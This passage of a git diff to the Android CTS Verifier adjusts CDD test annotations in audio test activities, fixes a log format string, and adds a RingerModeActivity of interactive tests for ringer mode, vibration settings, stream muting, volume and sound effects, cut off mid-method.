AudioRecord.OnRecordPositionUpdateListener {
private static final String TAG = "AudioFrequencySpeakerActivity";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java
index 92257cf..009dd58 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioFrequencyUnprocessedActivity.java
@@ -19,7 +19,6 @@
import com.android.cts.verifier.PassFailButtons;
import com.android.cts.verifier.R;
import com.android.cts.verifier.audio.wavelib.*;
-import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.util.ReportLog;
import com.android.compatibility.common.util.ResultType;
import com.android.compatibility.common.util.ResultUnit;
@@ -51,7 +50,6 @@
/**
* Tests Audio built in Microphone response for Unprocessed audio source feature.
*/
-@CddTest(requirement="5.11/C-1-1,C-1-2,C-1-3,C-1-4,C-1-5,C-1-6")
public class AudioFrequencyUnprocessedActivity extends AudioFrequencyActivity implements Runnable,
AudioRecord.OnRecordPositionUpdateListener {
private static final String TAG = "AudioFrequencyUnprocessedActivity";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputDeviceNotificationsActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputDeviceNotificationsActivity.java
index c87e2e5..e253635 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputDeviceNotificationsActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/AudioInputDeviceNotificationsActivity.java
@@ -32,13 +32,10 @@
import android.widget.Button;
import android.widget.TextView;
-import com.android.compatibility.common.util.CddTest;
-
/**
* Tests Audio Device Connection events for output by prompting the user to insert/remove a
* wired headset (or microphone) and noting the presence (or absence) of notifications.
*/
-@CddTest(requirement="7.8.2.1/C-2-1")
public class AudioInputDeviceNotificationsActivity extends HeadsetHonorSystemActivity {
Context mContext;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/Correlation.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/Correlation.java
index 98d1365..c653d1d 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/Correlation.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/Correlation.java
@@ -131,7 +131,7 @@
}
}
- log(String.format(" Threshold: %.3f, ignored:%d/%d (%%.2f)", threshold, ignored, N,
+ log(String.format(" Threshold: %.3f, ignored:%d/%d (%.2f)", threshold, ignored, N,
(double) ignored/(double)N));
status = true;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
index 288b7c9..1a9ffac 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/HifiUltrasoundSpeakerTestActivity.java
@@ -43,7 +43,7 @@
import com.android.compatibility.common.util.CddTest;
-@CddTest(requirement="7.8.3/C-1-1,C-1-2,C-2-1")
+@CddTest(requirement="7.8.3")
public class HifiUltrasoundSpeakerTestActivity extends PassFailButtons.Activity {
public enum Status {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java
new file mode 100644
index 0000000..b4bfa01
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java
@@ -0,0 +1,1130 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio;
+
+
+import static android.media.AudioManager.ADJUST_LOWER;
+import static android.media.AudioManager.ADJUST_RAISE;
+import static android.media.AudioManager.ADJUST_SAME;
+import static android.media.AudioManager.RINGER_MODE_NORMAL;
+import static android.media.AudioManager.RINGER_MODE_SILENT;
+import static android.media.AudioManager.RINGER_MODE_VIBRATE;
+import static android.media.AudioManager.STREAM_MUSIC;
+import static android.media.AudioManager.USE_DEFAULT_STREAM_TYPE;
+import static android.media.AudioManager.VIBRATE_SETTING_OFF;
+import static android.media.AudioManager.VIBRATE_SETTING_ON;
+import static android.media.AudioManager.VIBRATE_SETTING_ONLY_SILENT;
+import static android.media.AudioManager.VIBRATE_TYPE_NOTIFICATION;
+import static android.media.AudioManager.VIBRATE_TYPE_RINGER;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.app.ActivityManager;
+import android.content.Context;
+import android.content.pm.PackageManager;
+import android.content.res.Resources;
+import android.media.AudioManager;
+import android.media.MediaPlayer;
+import android.os.Bundle;
+import android.os.Vibrator;
+import android.provider.Settings;
+import android.util.Log;
+import android.view.SoundEffectConstants;
+import android.view.View;
+import android.view.ViewGroup;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.notifications.InteractiveVerifierActivity;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Contains tests that require {@link AudioManager#getRingerMode()} to be in a particular starting
+ * state. Only runs on {@link ActivityManager#isLowRamDevice()} devices that don't support
+ * {@link android.service.notification.ConditionProviderService}. Otherwise the tests live in
+ * AudioManagerTests in non-verifier cts.
+ */
+public class RingerModeActivity extends InteractiveVerifierActivity {
+ private static final String TAG = "RingerModeActivity";
+
+ private final static String PKG = "com.android.cts.verifier";
+ private final static long TIME_TO_PLAY = 2000;
+ private final static int MP3_TO_PLAY = R.raw.testmp3;
+ private final static int ASYNC_TIMING_TOLERANCE_MS = 50;
+
+ private AudioManager mAudioManager;
+ private boolean mHasVibrator;
+ private boolean mUseFixedVolume;
+ private boolean mIsTelevision;
+ private boolean mIsSingleVolume;
+ private boolean mSkipRingerTests;
+
+ @Override
+ protected int getTitleResource() {
+ return R.string.ringer_mode_tests;
+ }
+
+ @Override
+ protected int getInstructionsResource() {
+ return R.string.ringer_mode_info;
+ }
+
+ protected void onCreate(Bundle savedState) {
+ super.onCreate(savedState);
+ mAudioManager = (AudioManager) mContext.getSystemService(Context.AUDIO_SERVICE);
+ Vibrator vibrator = (Vibrator) mContext.getSystemService(Context.VIBRATOR_SERVICE);
+ mHasVibrator = (vibrator != null) && vibrator.hasVibrator();
+ mUseFixedVolume = mContext.getResources().getBoolean(
+ Resources.getSystem().getIdentifier("config_useFixedVolume", "bool", "android"));
+ PackageManager packageManager = mContext.getPackageManager();
+ mIsTelevision = packageManager != null
+ && (packageManager.hasSystemFeature(PackageManager.FEATURE_LEANBACK)
+ || packageManager.hasSystemFeature(PackageManager.FEATURE_TELEVISION));
+ mIsSingleVolume = mContext.getResources().getBoolean(
+ Resources.getSystem().getIdentifier("config_single_volume", "bool", "android"));
+ mSkipRingerTests = mUseFixedVolume || mIsTelevision || mIsSingleVolume;
+ }
+
+ // Test Setup
+
+ @Override
+ protected List<InteractiveTestCase> createTestItems() {
+ List<InteractiveTestCase> tests = new ArrayList<>();
+ if (supportsConditionProviders()) {
+ tests.add(new PassTest());
+ return tests;
+ }
+ tests.add(new SetModeAllTest());
+ tests.add(new SetModeAlarmsTest());
+ tests.add(new TestAccessRingerModeDndOn());
+ tests.add(new TestVibrateNotificationDndOn());
+ tests.add(new TestVibrateRingerDndOn());
+ tests.add(new TestSetRingerModePolicyAccessDndOn());
+ tests.add(new TestVolumeDndAffectedStreamDndOn());
+ tests.add(new TestAdjustVolumeInAlarmsOnlyMode());
+
+ tests.add(new SetModeAllTest());
+ tests.add(new TestAccessRingerMode());
+ tests.add(new TestVibrateNotification());
+ tests.add(new TestVibrateRinger());
+ tests.add(new TestSetRingerModePolicyAccess());
+ tests.add(new TestVolumeDndAffectedStream());
+ tests.add(new TestVolume());
+ tests.add(new TestMuteStreams());
+ tests.add(new EnableSoundEffects());
+ tests.add(new TestSoundEffects());
+ return tests;
+ }
+
+ private boolean supportsConditionProviders() {
+ ActivityManager am = (ActivityManager) mContext.getSystemService(Context.ACTIVITY_SERVICE);
+ return !am.isLowRamDevice()
+ || mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_WATCH);
+ }
+
+ private int getVolumeDelta(int volume) {
+ return 1;
+ }
+
+ private boolean hasAudioOutput() {
+ return mContext.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUDIO_OUTPUT);
+ }
+
+ private void testStreamMuting(int stream) {
+ mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_MUTE, 0);
+ assertTrue("Muting stream " + stream + " failed.",
+ mAudioManager.isStreamMute(stream));
+
+ mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_UNMUTE, 0);
+ assertFalse("Unmuting stream " + stream + " failed.",
+ mAudioManager.isStreamMute(stream));
+
+ mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE, 0);
+ assertTrue("Toggling mute on stream " + stream + " failed.",
+ mAudioManager.isStreamMute(stream));
+
+ mAudioManager.adjustStreamVolume(stream, AudioManager.ADJUST_TOGGLE_MUTE, 0);
+ assertFalse("Toggling mute on stream " + stream + " failed.",
+ mAudioManager.isStreamMute(stream));
+
+ mAudioManager.setStreamMute(stream, true);
+ assertTrue("Muting stream " + stream + " using setStreamMute failed",
+ mAudioManager.isStreamMute(stream));
+
+ // mute it three more times to verify the ref counting is gone.
+ mAudioManager.setStreamMute(stream, true);
+ mAudioManager.setStreamMute(stream, true);
+ mAudioManager.setStreamMute(stream, true);
+
+ mAudioManager.setStreamMute(stream, false);
+ assertFalse("Unmuting stream " + stream + " using setStreamMute failed.",
+ mAudioManager.isStreamMute(stream));
+ }
+
+ // Tests
+
+ protected class PassTest extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createRetryItem(parent, R.string.ringer_mode_pass_test);
+ }
+
+ @Override
+ protected void test() {
+ status = PASS;
+ }
+ }
+
+
+ protected class SetModeAllTest extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createRetryItem(parent, R.string.attention_filter_all);
+ }
+
+ @Override
+ protected void test() {
+ if (mUserVerified) {
+ status = PASS;
+ } else {
+ status = WAIT_FOR_USER;
+ }
+ }
+
+ @Override
+ protected void tearDown() {
+ mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
+ delay();
+ }
+ }
+
+ protected class SetModeAlarmsTest extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createRetryItem(parent, R.string.attention_filter_alarms);
+ }
+
+ @Override
+ protected void test() {
+ if (mUserVerified) {
+ status = PASS;
+ } else {
+ status = WAIT_FOR_USER;
+ }
+ }
+
+ @Override
+ protected void tearDown() {
+ mAudioManager.setStreamVolume(AudioManager.STREAM_MUSIC, 1, 0);
+ delay();
+ }
+ }
+
+ protected class EnableSoundEffects extends InteractiveTestCase {
+
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createRetryItem(parent, R.string.enable_sound_effects);
+ }
+
+ @Override
+ protected void test() {
+ if (mUserVerified) {
+ status = PASS;
+ } else {
+ status = WAIT_FOR_USER;
+ }
+ }
+
+ @Override
+ protected void tearDown() {
+ delay();
+ }
+ }
+
+ protected class TestSoundEffects extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_sound_effects);
+ }
+
+ @Override
+ protected void test() {
+ // should hear sound after loadSoundEffects() called.
+ mAudioManager.loadSoundEffects();
+ try {
+ Thread.sleep(TIME_TO_PLAY);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ float volume = 13;
+ mAudioManager.playSoundEffect(SoundEffectConstants.CLICK);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_UP);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_DOWN);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_LEFT);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT);
+
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_UP, volume);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_DOWN, volume);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_LEFT, volume);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT, volume);
+
+ // won't hear sound after unloadSoundEffects() called();
+ mAudioManager.unloadSoundEffects();
+ mAudioManager.playSoundEffect(AudioManager.FX_KEY_CLICK);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_UP);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_DOWN);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_LEFT);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT);
+
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_UP, volume);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_DOWN, volume);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_LEFT, volume);
+ mAudioManager.playSoundEffect(AudioManager.FX_FOCUS_NAVIGATION_RIGHT, volume);
+ status = PASS;
+ }
+ }
+
+ protected class TestVibrateNotificationDndOn extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_vibrate_notification);
+ }
+
+ @Override
+ protected void test() {
+ if (mUseFixedVolume || !mHasVibrator) {
+ status = PASS;
+ return;
+ }
+
+ // VIBRATE_SETTING_ON
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ON);
+ if (VIBRATE_SETTING_ON != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+
+ // VIBRATE_SETTING_OFF
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_OFF);
+ if (VIBRATE_SETTING_OFF != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+
+ // VIBRATE_SETTING_ONLY_SILENT
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ONLY_SILENT);
+ if (VIBRATE_SETTING_ONLY_SILENT
+ != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+ status = PASS;
+ }
+ }
+
+ protected class TestVibrateNotification extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_vibrate_notification);
+ }
+
+ @Override
+ protected void test() {
+ if (mUseFixedVolume || !mHasVibrator) {
+ status = PASS;
+ return;
+ }
+ // VIBRATE_SETTING_ON
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ON);
+ if (VIBRATE_SETTING_ON != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+ if (!mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+
+ mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+ if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
+ setFailed();
+ return;
+ }
+ if (!mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+
+ // VIBRATE_SETTING_OFF
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_OFF);
+ if (VIBRATE_SETTING_OFF != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+ mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+
+ mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+ if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
+ setFailed();
+ return;
+ }
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+
+ // VIBRATE_SETTING_ONLY_SILENT
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ONLY_SILENT);
+ if (VIBRATE_SETTING_ONLY_SILENT
+ != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+ mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+
+ mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+ if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
+ setFailed();
+ return;
+ }
+ if (!mAudioManager.shouldVibrate(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+
+ // VIBRATE_TYPE_NOTIFICATION
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ON);
+ if(VIBRATE_SETTING_ON != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_OFF);
+ if(VIBRATE_SETTING_OFF != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_NOTIFICATION, VIBRATE_SETTING_ONLY_SILENT);
+ if (VIBRATE_SETTING_ONLY_SILENT
+ != mAudioManager.getVibrateSetting(VIBRATE_TYPE_NOTIFICATION)) {
+ setFailed();
+ return;
+ }
+ status = PASS;
+ }
+ }
+
+ protected class TestVibrateRingerDndOn extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_vibrate_ringer);
+ }
+
+ @Override
+ protected void test() {
+ if (mUseFixedVolume || !mHasVibrator) {
+ status = PASS;
+ return;
+ }
+
+ // VIBRATE_SETTING_ON
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ON);
+ if (VIBRATE_SETTING_ON != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+
+ // VIBRATE_SETTING_OFF
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_OFF);
+ if (VIBRATE_SETTING_OFF != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+
+ // VIBRATE_SETTING_ONLY_SILENT
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ONLY_SILENT);
+ if (VIBRATE_SETTING_ONLY_SILENT
+ != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+ status = PASS;
+ }
+ }
+
+ protected class TestVibrateRinger extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_vibrate_ringer);
+ }
+
+ @Override
+ protected void test() {
+ if (mUseFixedVolume || !mHasVibrator) {
+ status = PASS;
+ return;
+ }
+ // VIBRATE_SETTING_ON
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ON);
+ if (VIBRATE_SETTING_ON != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+ if (!mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+
+ mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+ if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
+ setFailed();
+ return;
+ }
+ if (!mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+
+ // VIBRATE_SETTING_OFF
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_OFF);
+ if (VIBRATE_SETTING_OFF != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+ mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+
+ mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+ if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
+ setFailed();
+ return;
+ }
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+
+ // VIBRATE_SETTING_ONLY_SILENT
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ONLY_SILENT);
+ if (VIBRATE_SETTING_ONLY_SILENT
+ != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+ mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+ if (mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+
+ mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+ if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
+ setFailed();
+ return;
+ }
+ if (!mAudioManager.shouldVibrate(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+
+ // VIBRATE_TYPE_NOTIFICATION
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ON);
+ if (VIBRATE_SETTING_ON != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_OFF);
+ if (VIBRATE_SETTING_OFF != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+ mAudioManager.setVibrateSetting(VIBRATE_TYPE_RINGER, VIBRATE_SETTING_ONLY_SILENT);
+ if (VIBRATE_SETTING_ONLY_SILENT
+ != mAudioManager.getVibrateSetting(VIBRATE_TYPE_RINGER)) {
+ setFailed();
+ return;
+ }
+ status = PASS;
+ }
+ }
+
+ protected class TestAccessRingerMode extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_access_ringer_mode);
+ }
+
+ @Override
+ protected void test() {
+ if (mSkipRingerTests) {
+ status = PASS;
+ return;
+ }
+ mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+ if (RINGER_MODE_NORMAL != mAudioManager.getRingerMode()) {
+ setFailed();
+ return;
+ }
+
+ if (mHasVibrator) {
+ mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+ if (RINGER_MODE_VIBRATE != mAudioManager.getRingerMode()) {
+ setFailed();
+ return;
+ }
+ }
+ status = PASS;
+ }
+
+ @Override
+ protected void tearDown() {
+ mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+ next();
+ }
+ }
+
+ protected class TestAccessRingerModeDndOn extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_access_ringer_mode);
+ }
+
+ @Override
+ protected void test() {
+ if (mSkipRingerTests) {
+ status = PASS;
+ return;
+ }
+ if (RINGER_MODE_SILENT != mAudioManager.getRingerMode()) {
+ setFailed();
+ return;
+ }
+ status = PASS;
+ }
+ }
+
+ protected class TestSetRingerModePolicyAccessDndOn extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_ringer_mode_policy_access);
+ }
+
+ @Override
+ protected void test() {
+ if (mSkipRingerTests) {
+ status = PASS;
+ return;
+ }
+ // This tests a subset of testSetRingerModePolicyAccess as cts verifier cannot
+ // get policy access on these devices.
+ try {
+ mAudioManager.setRingerMode(RINGER_MODE_NORMAL);
+ status = FAIL;
+ logFail("Apps without notification policy access cannot change ringer mode");
+ } catch (SecurityException e) {
+ }
+
+ try {
+ mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+ status = FAIL;
+ logFail("Apps without notification policy access cannot change ringer mode");
+ } catch (SecurityException e) {
+ }
+ status = PASS;
+ }
+ }
+
+ protected class TestSetRingerModePolicyAccess extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_ringer_mode_policy_access);
+ }
+
+ @Override
+ protected void test() {
+ if (mSkipRingerTests) {
+ status = PASS;
+ return;
+ }
+ // This tests a subset of testSetRingerModePolicyAccess as cts verifier cannot
+ // get policy access on these devices.
+
+ try {
+ mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+ status = FAIL;
+ logFail("Apps without notification policy access cannot change ringer mode");
+ } catch (SecurityException e) {
+ }
+
+ if (mHasVibrator) {
+ mAudioManager.setRingerMode(RINGER_MODE_VIBRATE);
+
+ try {
+ mAudioManager.setRingerMode(RINGER_MODE_SILENT);
+ status = FAIL;
+ logFail("Apps without notification policy access cannot change ringer mode");
+ } catch (SecurityException e) {
+ }
+ }
+ status = PASS;
+ }
+ }
+
+ protected class TestVolumeDndAffectedStream extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_volume_dnd_affected_stream);
+ }
+
+ @Override
+ protected void test() {
+ if (mSkipRingerTests || mHasVibrator) {
+ status = PASS;
+ return;
+ }
+
+ mAudioManager.setStreamVolume(
+ AudioManager.STREAM_SYSTEM, 7, AudioManager.FLAG_ALLOW_RINGER_MODES);
+
+ // 7 to 0, fail.
+ try {
+ mAudioManager.setStreamVolume(
+ AudioManager.STREAM_SYSTEM, 0, AudioManager.FLAG_ALLOW_RINGER_MODES);
+ status = FAIL;
+ logFail("Apps without notification policy access cannot change ringer mode");
+ return;
+ } catch (SecurityException e) {}
+
+ // 7 to 1: success
+ mAudioManager.setStreamVolume(
+ AudioManager.STREAM_SYSTEM, 1, AudioManager.FLAG_ALLOW_RINGER_MODES);
+ if (1 != mAudioManager.getStreamVolume(AudioManager.STREAM_SYSTEM)) {
+ setFailed();
+ return;
+ }
+ status = PASS;
+ }
+ }
+
+ protected class TestVolumeDndAffectedStreamDndOn extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_volume_dnd_affected_stream);
+ }
+
+ @Override
+ protected void test() {
+ if (mSkipRingerTests || mHasVibrator) {
+ status = PASS;
+ return;
+ }
+
+ mAudioManager.setStreamVolume(
+ AudioManager.STREAM_SYSTEM, 0, AudioManager.FLAG_ALLOW_RINGER_MODES);
+
+ try {
+ mAudioManager.setStreamVolume(
+ AudioManager.STREAM_SYSTEM, 6, AudioManager.FLAG_ALLOW_RINGER_MODES);
+ status = FAIL;
+ logFail("Apps without notification policy access cannot change ringer mode");
+ return;
+ } catch (SecurityException e) {}
+ status = PASS;
+ }
+ }
+
+ protected class TestVolume extends InteractiveTestCase {
+ @Override
+ protected View inflate(ViewGroup parent) {
+ return createAutoItem(parent, R.string.test_volume_dnd_affected_stream);
+ }
+
+ @Override
+ protected void test() {
+ int volume, volumeDelta;
+ int[] streams = {STREAM_MUSIC,
+ AudioManager.STREAM_VOICE_CALL,
+ AudioManager.STREAM_ALARM,
+ AudioManager.STREAM_RING};
+
+ mAudioManager.adjustVolume(ADJUST_RAISE, 0);
+ // adjusting volume is aynchronous, wait before other volume checks
+ try {
+ Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+ } catch (InterruptedException e) {
+ e.printStackTrace();
+ }
+ mAudioManager.adjustSuggestedStreamVolume(
+ ADJUST_LOWER, USE_DEFAULT_STREAM_TYPE, 0);
+ try {
+ Thread.sleep(ASYNC_TIMING_TOLERANCE_MS);
+ } catch (InterruptedException e) {
